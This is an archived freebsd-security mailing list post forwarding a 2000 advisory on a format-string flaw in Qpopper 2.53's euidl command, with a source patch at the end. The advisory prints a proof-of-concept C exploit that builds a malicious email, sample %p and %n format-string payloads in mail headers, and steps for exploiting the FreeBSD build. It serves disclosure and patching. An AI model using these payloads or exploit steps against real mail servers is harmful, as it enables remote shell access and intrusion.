Date: Wed, 24 May 2000 16:40:00 -0500 (CDT) From: Jeremy Shaffner <jer@jorsm.com> To: freebsd-security@freebsd.org Subject: QPOPPER: Remote gid mail exploit Message-ID: <Pine.BSF.4.21.0005241633020.7700-100000@mercury.jorsm.com>
next in thread | raw e-mail | index | archive | help
[Patch is at the end]
Here is the original advisory. Note that the actual advisory is
correct WRT the file and line numbers. The posts on Bugtraq indicate to
patch pop_msg.c instead of pop_uidl.c.
------>8----------
=09 _____________________________________________________________________
=09 b u f f e r 0 v e r f l 0 w s e c u r i t y a d v i s o r y # 5=
=20
=09=09=09
=09=09 Advisory Name: Remote shell via Qpopper2.53
=09=09 Date: 5/23/00
=09 =09 Application: Qpopper 2.53 for *NIX
=09 Vendor: Qualcomm Incorporated
=09=09 WWW: www.qualcomm.com
=09=09 Severity: can give users remote
shell with gid=3Dmail.
=09=09 Author: prizm (prizm@resentment.org)
=09=09=09 Homepage: b0f.freebsd.lublin.pl
* Overview
=09Qpopper is the most widely-used server for the POP3 protocol. This allow=
s users to=20
=09access their mail using any POP3 client. Qpopper supports the latest st=
andards,
and includes a large number of optional features. Qpopper is norma=
lly used with
standard UNIX mail transfer and delivery agents such as sendmail or=
smail.=20
* The Problem
=09Yes, Qpop, again and again...=20
=09There is a bug in version 2.53 of Qpop that can give you a remote
=09shell with gid=3Dmail. Problem is with euidl command which uses user inp=
ut as=20
=09format string for pop_msg() function.
=09Lets examine following code from Qpop 2.53 source:
=09--> pop_uidl.c, around line 150:
=09 ................
=09 sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
=09 if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
=09 sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, =
mp));
=09 ! return (pop_msg (p,POP_SUCCESS, buffer));
^^^^^^^^^^^^^
=09 .................
=09Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat,
=09const char *format,...), and here we have user-input as format string. L=
ame.=20
=09Ok, back to problem, imagine following smtp session:
=09 MAIL FROM:<hakker@evil.org>
=09 200 Ok
=09 RCPT TO:<luser@host.withqpop253.com>
=09 200 Ok
=09 data
=09 200 Okey, okey. end with "."
=09 Subject: still trust qpop?=3D/
=09 X-UIDL: AAAAAAAAAAAAAAAA
=09 From: %p%p%p%p%p%p%p
=09 test
=09 .
=09 200 BLABLABLA Ok, message accepted for delivery.
=09 Then, luser connects with his pop account and runs euidl command there=
:
=09=09+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
=09=09USER luser
=09=09+OK Password required for luser.
=09=09PASS secret
=09=09+OK luser has 3 messages (1644 octets).
=09=09euidl 3
=09=09+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5=
e0xbfbfd1e80x8057028
=09 Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p=
%p
=09 where implemented as arguments for vsnprintf() command.
* Exploiting
Is this possible? Yeah, sure!
=09 But there are some limits. Qpopper2.53 from FreeBSD ports with patches =
is=20
=09 much more difficult to exploit than one from linux. It is because freeb=
sd=20
=09 patches change vsprintf() call in pop_msg.c to vsnprintf() call, and th=
ere is
=09 big difference between them. Qpopper with FreeBSD's patches IS exploita=
ble.
Exploit
-------
/* qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
* Sample exploit for buffer overflow in Qpopper 2.53.
* This little proggie generates a mail u need to send.
*
* Standard disclaimer applies.
* By the way, exploit is broken =3D) You need to insert shellcode.
*
* MAD greets to tf8 for pointing out the bug, and all other b0f members.
* greets to USSRLabs and ADM
* check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>
char shellcode[]=3D"imnothing";
int main(int argc, char *argv[])
{
=09int i;
=09unsigned long ra=3D0;
=09if(argc!=3D2) {
=09=09fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
=09=09exit(0);
=09}
=09sscanf(argv[1], "%x", &ra);
=09if(!ra)=20
=09=09return;
=09if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
=09=09fprintf(stderr,"Bad shellcode\n");
=09=09exit(0);
=09}
=09fprintf(stderr,"return address: 0x%.8x\n", ra);
=09printf("X-UIDL: ");
=09for(i=3D0; i < sizeof(shellcode);i++)
=09=09printf("%c", shellcode[i]);
=09printf("\r\n");
=09printf("From: %s", "%.1000d");
=09for(i=3D0; i < 50; i++)=20
=09=09printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16=
, (ra & 0xff000000)>>24);
=09printf("@test\r\n");
=09printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
=09return 0;
}
=09Exploiting QPOP from FreeBSD ports
=09----------------------------------
=09It is NOT easy, because vsprintf() is replaced with vsnprintf() so we ca=
n't
=09overflow stack, but we still have control over it (remeber %n?).
=09Im not going to post exploit for this because it is really generic, but =
I
=09will explain theory on exploiting qpop with vsNprintf.
=09There is an little trick with %n YOu should know. Try to understand why
=09folowing code succeeds and prints out 2000, not sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
int s=3D1; char b[1024]; int q;
snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
return printf("%d, overflowed? %s\n", q, (s=3D=3D1?"NO":"YES"));
}
---</cut>---
=09On my box with FreeBSD 3.4 i have:
=092000, overflowed? NO
=09Hah, first time i expected to see 1024, but YOu know that all is
=09unpredictable . So, this little thing will help us a lot.
=09Exploiting it:
=09a) Find where in stack is located user input.
=09b) Compose a message with filed X-UIDL and From:
=09=09X-UIDL: ppRETARETARETARETA
=09=09From: <SHELLCODE>%.RETURNd%n@test
=09where:
=09"pp"=09=09=09is for padding (two or three chars)
=09"RETA"=09=09is return address pointing to SHELLCODE
=09"SHELLCODE"=09=09guess
=09"RETURN"=09=09return address
=09c) Exploit? If you need an exploit that will work on FreeBSD, code it yo=
urself.
* Vulnerable Versions
=092.53(Others?)
=20
* Fix
=09You can download Qpopper 3.1 at http://www.eudora.com/freeware/qpop.html=
#CURRENT which
is not vulnerable to this problem.
=09Or you can manually patch it by doing the following:=20
=09 At lines 152 and 62 from pop_uidl.c, replace:
=09- return (pop_msg (p,POP_SUCCESS, buffer));
=09 to:
=09+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
=09=09=09
=09=09=09=09=09 copyright =A9 1999-2000
=09=09=09=09 prizm, buffer0verfl0w security
=09=09=09=09=09 b0f.freebsd.lublin.pl
---------->8------------=20
Here is the resulting patch:
---------8<--------
--- pop_uidl.c.orig Wed May 24 15:58:53 2000
+++ pop_uidl.c Wed May 24 16:21:56 2000
@@ -59,7 +59,7 @@
=20
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
- return (pop_msg (p,POP_SUCCESS, buffer));
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
}
} else {
/* yes, we can do this */
@@ -149,7 +149,7 @@
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl =3D index(buffer, NEWLINE)) *nl =3D 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p,
mp));
- return (pop_msg (p,POP_SUCCESS, buffer));
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
}
} else {
/* yes, we can do this */
------->8----------=20
---
Jeremy Shaffner
System Administrator
JORSM Internet
jer@jorsm.com
http://www.jorsm.com/~jer/pgp.key
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.21.0005241633020.7700-100000>
